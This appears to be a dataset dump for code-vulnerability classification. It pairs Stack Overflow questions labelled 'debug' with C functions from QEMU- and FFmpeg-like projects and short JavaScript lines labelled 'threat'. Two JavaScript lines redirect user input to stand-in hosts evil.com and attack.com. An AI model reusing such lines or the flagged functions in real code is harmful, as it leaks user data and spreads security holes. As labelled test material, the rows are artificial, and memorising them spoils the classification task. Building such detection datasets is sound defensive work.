problem
stringlengths
26
131k
labels
class label
2 classes
Trying to get random value in specified range? : <p>for one of my assignments I am trying to generate a random number between 16-26 (both inclusive). I've read around and tried different methods but for some reason it goes over the specified range. This is what I have at the moment:</p> <pre><code>int dealerHand = 16 ...
0debug
AWS BOTO3 S3 python - An error occurred (404) when calling the HeadObject operation: Not Found : <p>I am trying download a directory inside s3 bucket. I am trying to use transfer to download a directory from S3 bucket but I am getting an error as "An error occurred (404) when calling the HeadObject operation: Not Found...
0debug
AzureDevOps - Link git commit or branch to work item via command line : <p>I've worked on projects with a Jira integration where I simply had to include the ticket number in the commit or branch name and that work would automatically link with the ticket in Jira. Exe:</p> <blockquote> <p><code>git commit -am '123 so...
0debug
how to include a prototype in typescript : <p>I am learning angular 2 and I have written a ts definition for a truncate method I want to use in one of my services.</p> <p>truncate.ts</p> <pre><code>interface String { truncate(max: number, decorator: string): string; } String.prototype.truncate = function(max, de...
0debug
int qemu_get_buffer(QEMUFile *f, uint8_t *buf, int size1) { int size, l; if (f->is_write) { abort(); } size = size1; while (size > 0) { l = f->buf_size - f->buf_index; if (l == 0) { qemu_fill_buffer(f); l = f->buf_size - f->buf_index; ...
1threat
static int ir2_decode_frame(AVCodecContext *avctx, void *data, int *got_frame, AVPacket *avpkt) { const uint8_t *buf = avpkt->data; int buf_size = avpkt->size; Ir2Context * const s = avctx->priv_data; AVFrame *picture = data; AVFrame * const p ...
1threat
Jira Webhook to Google Calendar API : <p><br> I am having hard times figuring out how to create a JIRA webhook that creates a google calendar event after an ISSUE has been created in JIRA. <BR> Start and end times of this event should be taken from custom fields in that created Issue. <BR> Thanks in advance.</p>
0debug
static void d3d11va_device_uninit(AVHWDeviceContext *hwdev) { AVD3D11VADeviceContext *device_hwctx = hwdev->hwctx; if (device_hwctx->device) ID3D11Device_Release(device_hwctx->device); if (device_hwctx->device_context) ID3D11DeviceContext_Release(device_hwctx->device_context); ...
1threat
Makefile with source get error `No such file or directory` : <p>I have a really simple <code>Makefile</code> that's doing <code>source</code> to set ENV variables. But it doesn't work if I call it from <code>Makefile</code></p> <p>I get this error</p> <pre><code>make dev source ./bin/authenticate.sh make: source: No ...
0debug
Necesito realizar un procedimiento o vista en pl sql que mu muestre los pagos realizados en un periodo de fechas : Estoy trabajando con un sistema, tengo dos tablas 'Facturas' y 'Pagos Factura'. En la tabla 'Factura' tiene las columnas 'Fecha de Factura' y 'Fecha de vencimiento'. Lo que necesito realizar es un proced...
0debug
Is it possible to show div when hover? Why is my code in css not working ? : Here is my code, I just copy this from a tutorial and I just modify the code for my use, but it turned out not what I want, it's not working here is my css .project-item h3{ cursor: pointer; } #project-contentO...
0debug
static inline int coeff_unpack_golomb(GetBitContext *gb, int qfactor, int qoffset) { int sign, coeff; uint32_t buf; OPEN_READER(re, gb); UPDATE_CACHE(re, gb); buf = GET_CACHE(re, gb); if (buf & 0xAA800000) { buf >>= 32 - 8; SKIP_BITS(re, gb, ff_interleaved_golomb_vlc...
1threat
void net_slirp_redir(const char *redir_str) { struct slirp_config_str *config; if (QTAILQ_EMPTY(&slirp_stacks)) { config = qemu_malloc(sizeof(*config)); pstrcpy(config->str, sizeof(config->str), redir_str); config->flags = SLIRP_CFG_HOSTFWD | SLIRP_CFG_LEGACY; config->ne...
1threat
void kvm_setup_guest_memory(void *start, size_t size) { #ifdef CONFIG_VALGRIND_H VALGRIND_MAKE_MEM_DEFINED(start, size); #endif if (!kvm_has_sync_mmu()) { int ret = qemu_madvise(start, size, QEMU_MADV_DONTFORK); if (ret) { perror("qemu_madvise"); fprintf(stderr...
1threat
React - Dynamically Import Components : <p>I have a page which renders different components based on user input. At the moment, I have hard coded the imports for each component as shown below:</p> <pre><code> import React, { Component } from 'react' import Component1 from './Component1' import Component2 fr...
0debug
What is causing this: Cannot jump from switch statement to this case label : <p>This is a switch statement that I am getting errors on:</p> <pre><code> switch (transaction.transactionState) { case SKPaymentTransactionStatePurchasing: // show wait view here statusLabel.text = @"...
0debug
Display ='Grid' is not working in IE? is any soluting to fix it or not? : I am using Display ='grid' in CSS. it's works fine for chrome & Mozzila. but it's not working on IE. Any CSS Trick or any solution?
0debug
When should we use android.arch.lifecycle:compiler (or android.arch.lifecycle:common-java8)? : <p>Currently, we are using <code>LiveData</code>, <code>ViewModel</code> and <code>Room</code> in our project.</p> <p>We are using Java 8.</p> <p>We use the following in <code>build.gradle</code></p> <pre><code>// ViewMode...
0debug
Microservice architecture - carry message through services when order doesn't matter : <p><strong>Tl;dr</strong>: "How can I push a message through a bunch of asynchronous, unordered microservices and know when that message has made it through each of them?"</p> <p>I'm struggling to find the right messaging system/pro...
0debug
static int ide_drive_post_load(void *opaque, int version_id) { IDEState *s = opaque; if (s->identify_set) { blk_set_enable_write_cache(s->blk, !!(s->identify_data[85] & (1 << 5))); } return 0; }
1threat
Compare not working in Eclipse Neon : <p>I am (finally) trying to upgrade to Eclipse Neon from Mars.2. After installing SVN support and the SVNKit (1.8.14) connector, I am able to access my repository. However <em>Compare</em> is not working. </p> <p>If I right click a file that I have modified, and choose <em>Compa...
0debug
static int adx_decode_frame(AVCodecContext *avctx, void *data, int *got_frame_ptr, AVPacket *avpkt) { int buf_size = avpkt->size; ADXContext *c = avctx->priv_data; int16_t *samples; const uint8_t *buf = avpkt->data; int num_blocks, ch, ret; if ...
1threat
How string is stored in C# : <p>After reading 2 different post on how the string is stored I am little confused which one is right.</p> <p>Please find the below links:<br> <a href="https://stackoverflow.com/questions/10782690/how-are-string-and-char-types-stored-in-memory-in-net">How are String and Char types stored i...
0debug
static void *legacy_s390_alloc(size_t size) { void *mem; mem = mmap((void *) 0x800000000ULL, size, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED, -1, 0); return mem == MAP_FAILED ? NULL : mem; }
1threat
How to record a call in Android pie? : <p>Basically I've done call recording but it's not working up to Oreo. I read an article in Wich google stop call recording in up to Oreo anyone have any idea how to record call in Android pie? Code comments will be appreciated. Thanks </p>
0debug
static uint32_t parse_enumeration(char *str, EnumTable *table, uint32_t not_found_value) { uint32_t ret = not_found_value; while (table->name != NULL) { if (strcmp(table->name, str) == 0) { ret = table->value; break; } table++; } return ret; }
1threat
adapter Ecto.Adapters.Postgres was not compiled : <p>I am not able to create my Phoenix project. Would love some advice on how to fix it.</p> <p>Setup details:</p> <ul> <li>Ubuntu 16.04.4 LTS </li> <li>Erlang/OTP 21 [erts-10.1] [source] [64-bit] [smp:1:1] [ds:1:1:10] [async-threads:1] [hipe] </li> <li>Elixir 1.7.3 (c...
0debug
static void read_sbr_envelope(SpectralBandReplication *sbr, GetBitContext *gb, SBRData *ch_data, int ch) { int bits; int i, j, k; VLC_TYPE (*t_huff)[2], (*f_huff)[2]; int t_lav, f_lav; const int delta = (ch == 1 && sbr->bs_coupling == 1) + 1; const int odd =...
1threat
int ff_h264_decode_ref_pic_marking(H264Context *h, GetBitContext *gb, int first_slice) { int i, ret; MMCO mmco_temp[MAX_MMCO_COUNT], *mmco = mmco_temp; int mmco_index = 0; if (h->nal_unit_type == NAL_IDR_SLICE) { skip_bits1(gb); if (get_bits...
1threat
From List to Jagged Array : <p>I am trying to convert a <code>List&lt;T&gt;</code> to a <code>Jagged Array T [][]</code>. But each array inside the Jagged Array is repeating the first N Elements of the List. I know that my code is doing exactly that, but how can I iterate over my list in a different way so I dont go th...
0debug
TypeError: Cannot property of value between two getJSON functions : When the length of my 2 json's are the same, I dont get an error but when they arent I get a `TypeError: Connt read property of undefined`. JSON: json1: [ { "date": "2019-07-05", "x": 1246567, "y": 598045 ...
0debug
F# How to write a function that takes int list or string list : <p>I'm messing around in F# and tried to write a function that can take an <code>int list</code> or a <code>string list</code>. I have written a function that is logically generic, in that I can modify nothing but the type of the argument and it will run w...
0debug
import heapq as hq def raw_heap(rawheap): hq.heapify(rawheap) return rawheap
0debug
void bdrv_error_action(BlockDriverState *bs, BlockErrorAction action, bool is_read, int error) { assert(error >= 0); if (action == BLOCK_ERROR_ACTION_STOP) { bdrv_iostatus_set_err(bs, error); qemu_system_vmstop_request_prep...
1threat
static void s390_virtio_bridge_class_init(ObjectClass *klass, void *data) { DeviceClass *dc = DEVICE_CLASS(klass); SysBusDeviceClass *k = SYS_BUS_DEVICE_CLASS(klass); k->init = s390_virtio_bridge_init; dc->no_user = 1; }
1threat
Apply Middleware to all routes except `setup/*` in Laravel 5.4 : <p>I'm experimenting with Middleware in my Laravel application. I currently have it set up to run on every route for an authenticated user, however, I want it to ignore any requests that begin with the <code>setup</code> URI.</p> <p>Here is what my <code...
0debug
static void virtio_scsi_hotplug(HotplugHandler *hotplug_dev, DeviceState *dev, Error **errp) { VirtIODevice *vdev = VIRTIO_DEVICE(hotplug_dev); VirtIOSCSI *s = VIRTIO_SCSI(vdev); SCSIDevice *sd = SCSI_DEVICE(dev); if (s->ctx && !s->dataplane_disabled) { i...
1threat
static int transcode(AVFormatContext **output_files, int nb_output_files, AVFormatContext **input_files, int nb_input_files, AVStreamMap *stream_maps, int nb_stream_maps) { int ret = 0, i, j, k, n, nb_istreams = 0, nb_ostreams...
1threat
Format timestamp according to RFC 3339 with moment.js : <p>Like this:</p> <pre><code>const RFC_3339 = 'YYYY-MM-DDTHH:mm:ss'; moment.utc().format(RFC_3339); </code></pre> <p>I need the timestamp to have a 'Z' at the end. Is there a better way than just <code>+'Z'</code>?</p> <p>It should match the python code on the ...
0debug
What to change for this StringByApppendingPathComponent : My Swift code is not working after converting to Swift2.2. My code : Swift 1.0 code: Class func getPath(filename: String ) -> String { return NSSearchPathForDirectoriesInDomains(NSSearchPathDirectory.DocumentDirectory,NSSearchPathDomainMask.User...
0debug
C#: Writealltext in loop randomly doesn't write to file : <p>I created an executable which uses an API call to get information and writes it to a file with System.IO.File.WriteAllText . In SSIS i execute the file in a loop with a list of parameters (needs to loop around 3000 times). Everything goes fine, but after a ra...
0debug
static void nfs_file_close(BlockDriverState *bs) { NFSClient *client = bs->opaque; nfs_client_close(client); qemu_mutex_destroy(&client->mutex); }
1threat
static inline void h264_loop_filter_luma_c(uint8_t *pix, int xstride, int ystride, int alpha, int beta, int8_t *tc0) { int i, d; for( i = 0; i < 4; i++ ) { if( tc0[i] < 0 ) { pix += 4*ystride; continue; } for( d = 0; d < 4; d++ ) { const int p...
1threat
static int decode_main_header(NUTContext *nut){ AVFormatContext *s= nut->avf; ByteIOContext *bc = &s->pb; uint64_t tmp; int i, j; get_packetheader(nut, bc, 8, 1); tmp = get_v(bc); if (tmp != 1){ av_log(s, AV_LOG_ERROR, "bad version (%Ld)\n", tmp); return -1; } ...
1threat
C++ unordered_map insert into vector : <p>I am trying to write a program which will take list of strings as input and create hash table with string name and its position.</p> <p>Example:<br> vector words {"first", "second", "third", "forth", "second"};</p> <p>output:<br> first 1<br> second 2,5<br> third 3<br> forth 4...
0debug
sql query to get all rows if there is no matching row in left join : I've table structure like this: person (pid, pname) personSamples(sid,pid,sampleName) groups(gid,groupName) groupPersons(gpid,gid,pid) grouppersonSamples(gpsid,gid,sid) Whenever a person is added to a group i.e. in groupPersons table, I add so...
0debug
static int graph_config_formats(AVFilterGraph *graph, AVClass *log_ctx) { int ret; if ((ret = query_formats(graph, log_ctx)) < 0) return ret; reduce_formats(graph); swap_sample_fmts(graph); swap_samplerates(graph); swap_channel_layouts(graph); ...
1threat
How to call main function from another header files's cpp file : i want to call main function form another header file's cpp file. where main included a header file. lets call main.cpp has a header file. can i call main.cpp's main form header file's cpp . This is main.cpp ``` #include "another.h" int main(...
0debug
window.location.href = 'http://attack.com?user=' + user_input;
1threat
static void mirror_drain(MirrorBlockJob *s) { while (s->in_flight > 0) { mirror_wait_for_io(s); } }
1threat
How to configure ASP.net Core server routing for multiple SPAs hosted with SpaServices : <p>I have an Angular 5 application that I want to host with Angular Universal on ASP.net Core using the latest <a href="https://docs.microsoft.com/en-us/aspnet/core/spa/angular" rel="noreferrer">Angular template RC</a>. I've follow...
0debug
Javascript Regex Global Edit Not Working : Disclaimer: I am not a regex user... my solution came from another Stackoverflow question. I am at wit's end as to why this does not work... tested on node.. trying to remove all instances of "RADAL...^" with a space ------------------------------------------------ tx...
0debug
I am searching for a spell checker which is easily implemented to work with django and python 2.7 : <p>I want to check for a spelling mistakes while user is typing and it should support different languages. Thanks for your help guys</p>
0debug
How to update a single firebase firestore document : <p>After authenticating i'm trying to lookup a user document at /users/, then i'd like to update the document with data from auth object as well some custom user properties. But I'm getting an error that the update method doesn't exist. Is there a way to update a s...
0debug
linux Uinsg write command to communicate with other users : I am learning linux and I am learning how to communicate with other users in addition, I am using ubuntu and I already have a existing user and when I try to use the command write to communicate with other user write lex pts/5 a error pop o...
0debug
Get json from php to android : I cant give jason from php to android I want send data to php and insert to database and give json data after insert database in android insert database process is true but i cant give json data in android! I use AsyncTask in this code please help me try { //...
0debug
roundAndPackFloat128( flag zSign, int32 zExp, uint64_t zSig0, uint64_t zSig1, uint64_t zSig2 STATUS_PARAM) { int8 roundingMode; flag roundNearestEven, increment, isTiny; roundingMode = STATUS(float_rounding_mode); roundNearestEven = ( roundingMode == float_round_nearest_even ); increm...
1threat
aws-sdk: crash after updating from angular5 to angular6 : <p>I just updated to Angular 6.0 from Angular 5.2, my code now break with this error:</p> <pre><code>core.js:1601 ERROR Error: Uncaught (in promise): ReferenceError: global is not defined ReferenceError: global is not defined at Object../node_modules/buffer/in...
0debug
static void update(NUTContext *nut, int stream_index, int64_t frame_start, int frame_type, int frame_code, int key_frame, int size, int64_t pts){ StreamContext *stream= &nut->stream[stream_index]; stream->last_key_frame= key_frame; nut->last_frame_start[ frame_type ]= frame_start; update_lru(s...
1threat
password validation with yup and formik : <p>how would one go about having password validation but at the same time having the errors be passed to different variables? </p> <p>i.e </p> <pre><code>password: Yup.string().required("Please provide a valid password"), passwordMin: Yup.string().oneOf([Yup.ref('password'), ...
0debug
Is it possible to send SMS over Wifi in Android App? : I'm working on an Android application in Android Studio and wanted to add a feature that allowed a text (SMS) message to be sent from the application to a mobile phone number. I found one way to do this by using the SMS Manager API, but it seems like this only ...
0debug
My simple webview application is suspended on googleplayconsole now how can i publish again or remove it.? : <p>before yesterday i uploaded my application and yesterday i get this response</p> <blockquote> <p>An email with details about the removal has been sent to the account owner at myEmail@gmail.com. Before uplo...
0debug
static int openfile(char *name, int flags, int growable, QDict *opts) { Error *local_err = NULL; if (qemuio_bs) { fprintf(stderr, "file open already, try 'help close'\n"); return 1; } if (growable) { if (bdrv_open(&qemuio_bs, name, NULL, opts, flags | BDRV_O_PROTOCOL...
1threat
static void xics_kvm_realize(DeviceState *dev, Error **errp) { KVMXICSState *icpkvm = KVM_XICS(dev); XICSState *icp = XICS_COMMON(dev); int i, rc; Error *error = NULL; struct kvm_create_device xics_create_device = { .type = KVM_DEV_TYPE_XICS, .flags = 0, }; if (!k...
1threat
static int draw_text(AVFilterContext *ctx, AVFilterBufferRef *picref, int width, int height) { DrawTextContext *dtext = ctx->priv; uint32_t code = 0, prev_code = 0; int x = 0, y = 0, i = 0, ret; int max_text_line_w = 0, len; int box_w, box_h; char *text = dtext->text...
1threat
static av_cold int xwd_encode_close(AVCodecContext *avctx) { av_freep(&avctx->coded_frame); return 0; }
1threat
static int kvm_dirty_pages_log_change(target_phys_addr_t phys_addr, target_phys_addr_t end_addr, unsigned flags, unsigned mask) { KVMState *s = kvm_state; KVMSlot *mem = kvm_lookup_slot(s, phys_addr); if (mem == NULL) { ...
1threat
net core api controller unit testing using xunit and moq : <p>i have some api controller methods that i would like to add some unit tests to. I am using xunit and moq and writing in c# using asp net core.</p> <p>example of one method is:</p> <pre><code>public async Task&lt;ActionResult&lt;List&lt;StatusDTO&gt;&gt;&gt...
0debug
EC2 or S3 to host AngularJS app? : <p>I want to launch a production version of an AngularJS application, and I find Amazon AWS to be an awesome hosting suite. As AngularJS is essentially static it could be hosted on S3 storage, or on an EC2 server with node.js backend. </p> <p>Either of these solutions would suit my d...
0debug
which is the best gem for push notifications on android with ruby on rails 4+? : <p>actually, i want to send push notification on submit button. when the user presses the button then on the android phone getting a push notification.</p>
0debug
How do I make background code? : <p>I want to make background code that checks if someone hit "H","D", or other letters. Like This,(I mean a background code that is checking this.)</p> <pre><code>if(e.KeyCode == Keys.U) { code; } </code></pre>
0debug
truncating last two characters from SQL MST 2014 : This will seem rudimentary but trying the substring command to no avail. Using substring('indcode',1,4). The values are 6 characters long and I need the last two deleted from them. In short, I need them truncated from 6 to 4. Also, in the table indcode is set...
0debug
static void cmd_inquiry(IDEState *s, uint8_t *buf) { int max_len = buf[4]; buf[0] = 0x05; buf[1] = 0x80; buf[2] = 0x00; buf[3] = 0x21; buf[4] = 31; buf[5] = 0; buf[6] = 0; buf[7] = 0; padstr8(buf + 8, 8, "QEMU"); padstr8(buf + 16, 16, "QEMU DVD-ROM"); ...
1threat
Formatting hours and minutes in django backend : <p>I have a method in my django app (1.8).</p> <p>From date recived from <strong>date_start</strong> field: <code>2017-01-26 18:00:00+00:00</code> I want to get hours and minutes. But my code didn't works:</p> <pre><code>@property def time(self): return '{%H:%M}'.f...
0debug
int ram_save_live(Monitor *mon, QEMUFile *f, int stage, void *opaque) { ram_addr_t addr; uint64_t bytes_transferred_last; double bwidth = 0; uint64_t expected_time = 0; if (stage < 0) { cpu_physical_memory_set_dirty_tracking(0); return 0; } if (cpu_physical_sync...
1threat
Python "equal to" and "not equal to" : <p>I was doing a practice question and couldn't figure out what I was doing wrong. Seems I was a little confused about how <code>or</code> should work.</p> <p>I'll pass both a range of numbers from 13 - 19:</p> <pre><code>for i in range(13,20): func(i) </code></pre> <blockq...
0debug
How to replace string in angular 2? : <p>I have used with below interpolation in html page.</p> <pre><code>&lt;div&gt;{{config.CompanyAddress.replace('\n','&lt;br /&gt;')}}&lt;/div&gt; </code></pre> <p>and also used</p> <pre><code>&lt;div&gt;{{config.CompanyAddress.toString().replace('\n','&lt;br /&gt;')}}&lt;/div&g...
0debug
int64_t qmp_query_migrate_cache_size(Error **errp) { return migrate_xbzrle_cache_size(); }
1threat
how to insert html after a specific element with a class using jQuery : <pre><code> &lt;html&gt; &lt;body&gt; &lt;div class="carousel-inner"&gt; &lt;!-- my jQuery content here --&gt; &lt;a data-slide="prev" href="#quote-carousel" class="left carousel-control"&gt;&lt;i class="fa fa-chevron-left"&gt;&lt;/i&gt;&lt...
0debug
Schedule a work on a specific time with WorkManager : <blockquote> <p>WorkManager is a library used to enqueue work that is guaranteed to execute after its constraints are met.</p> </blockquote> <p>Hence, After going though the <a href="https://developer.android.com/reference/androidx/work/Constraints" rel="noreferr...
0debug
static void test_validate_fail_list(TestInputVisitorData *data, const void *unused) { UserDefOneList *head = NULL; Error *err = NULL; Visitor *v; v = validate_test_init(data, "[ { 'string': 'string0', 'integer': 42 }, { 'string': 'string1', 'integer': 43 }, {...
1threat
Error invalid operands to binary : <p>I am a beginner and I am using dev c++ . I am trying to write a function to determine which quadrant it lies in. Its fairly simple, but I am getting an error [Error] invalid operands to binary &lt;&lt; (have 'float' and 'int')</p> <pre><code>#include &lt;stdio.h&gt; int quadrant (...
0debug
uint64_t kvmppc_rma_size(uint64_t current_size, unsigned int hash_shift) { if (cap_ppc_rma >= 2) { return current_size; } return MIN(current_size, getrampagesize() << (hash_shift - 7)); }
1threat
static int qcow2_create(const char *filename, QEMUOptionParameter *options) { const char *backing_file = NULL; const char *backing_fmt = NULL; uint64_t sectors = 0; int flags = 0; size_t cluster_size = DEFAULT_CLUSTER_SIZE; int prealloc = 0; while (options && options->name) {...
1threat
document.location = 'http://evil.com?username=' + user_input;
1threat
how best find data with getJSON? : i have problem to filtering data with `jquery` and `json` how do the best find data with `javascript` ? help find solved my problem. thanks this my code [here][1] [1]: https://jsfiddle.net/vgrj1L80/110/
0debug
What is the best way to implement multi tenancy in Azure Database : <p>We are planning to implement a multi tenant application in Azure cloud. I am looking for a best way to implement this in DB level. The DB schema is huge, we have 100s of tables spread across multiple modules. And the data size varies for each client...
0debug
Different behaviour when running script vs IRB console? : <p>I have a simple code snippet that defines a method (on Ruby's Main Object), and then checks to see if it is defined.</p> <pre><code>puts "#{self} #{self.class}" def foo;end puts self.methods.include?(:foo) </code></pre> <p>When I run this in a Ruby console....
0debug
The scanf don't store my sum : <p>When the code run, my scanf don't show the sum, just 0.00000000.</p> <p>I don't know where is the problem.</p> <pre><code>int main() { float A, B; float R = A+B; printf("Digita o valor A: "); scanf("%f",&amp;A); printf("Digite o valor B: "); scanf("%f",&amp;B); printf("A soma de...
0debug
Create (click) event on MatTab Material : <p>I dynamically loop thru tabs and i would like to add a (click) event on to be able to load different options when i select tab. </p> <p>Isn't it possible to have an event (click) event on ? I tried with (selectChange) on but then i cannot get hold of bank.id from my loop ...
0debug
Get by HTML element with React Testing Library? : <p>I'm using the <code>getByTestId</code> function in React Testing Library: </p> <pre><code>const button = wrapper.getByTestId("button"); expect(heading.textContent).toBe("something"); </code></pre> <p>Is it possible / advisable to search for HTML elements instead? S...
0debug
Weird behaviour with groupby on ordered categorical columns : <p>MCVE</p> <pre><code>df = pd.DataFrame({ 'Cat': ['SF', 'W', 'F', 'R64', 'SF', 'F'], 'ID': [1, 1, 1, 2, 2, 2] }) df.Cat = pd.Categorical( df.Cat, categories=['R64', 'SF', 'F', 'W'], ordered=True) </code></pre> <p></p> <p>As you can see, I'v...
0debug
Problem with dinamic URL rewrite with .htaccess : I had spend last few hours to get static URL from dynamic URL with .htaccess If I get wanted URL I also get 404 error. Dynamic URL is EN/section.php?lang=$1&url=$2 I had wrote ^(.*)/(.*)$ and it doesn't work. This work well with some prefix like ^language-(.*)/(.*)$...
0debug
How to convert SQL Query to Laravel Query Builder : select student_id ,count(case when attendance_status ='Absent' then 1 end) as absent_count ,count(case when attendance_status ='Present' then 1 end) as present_count ,count(case when attendance_status ='Leave' then 1 end) as leave_count ...
0debug
static int local_utimensat(FsContext *s, V9fsPath *fs_path, const struct timespec *buf) { char *buffer; int ret; char *path = fs_path->data; buffer = rpath(s, path); ret = qemu_utimens(buffer, buf); g_free(buffer); return ret; }
1threat
static int64_t alloc_clusters_noref(BlockDriverState *bs, int64_t size) { BDRVQcowState *s = bs->opaque; int i, nb_clusters; nb_clusters = size_to_clusters(s, size); retry: for(i = 0; i < nb_clusters; i++) { int64_t i = s->free_cluster_index++; if (get_refcount(bs, i) != 0) ...
1threat
export double value with comma : <p>i need to generate excel that display double values with a comma as grouping symbol. example :100000000.00 ------> 100,000,000.00 </p> <p>the comma symbol for group and the Dot symbol for decimal separator thanks,</p>
0debug
static int poll_filters(void) { AVFilterBufferRef *picref; AVFrame *filtered_frame = NULL; int i, frame_size; for (i = 0; i < nb_output_streams; i++) { OutputStream *ost = output_streams[i]; OutputFile *of = output_files[ost->file_index]; int ret = 0; if (...
1threat
Automatic centering of Google maps on points : <p>I have this code:</p> <pre><code>&lt;script src="https://maps.googleapis.com/maps/api/js?sensor=false"&gt;&lt;/script&gt; &lt;style&gt; #map_canvas { border:1px solid transparent; height: 400px; width: 100%; } &lt;/style&gt; &lt;div class="col-xs-12 col-s...
0debug
void cpu_outb(pio_addr_t addr, uint8_t val) { LOG_IOPORT("outb: %04"FMT_pioaddr" %02"PRIx8"\n", addr, val); trace_cpu_out(addr, val); ioport_write(0, addr, val); }
1threat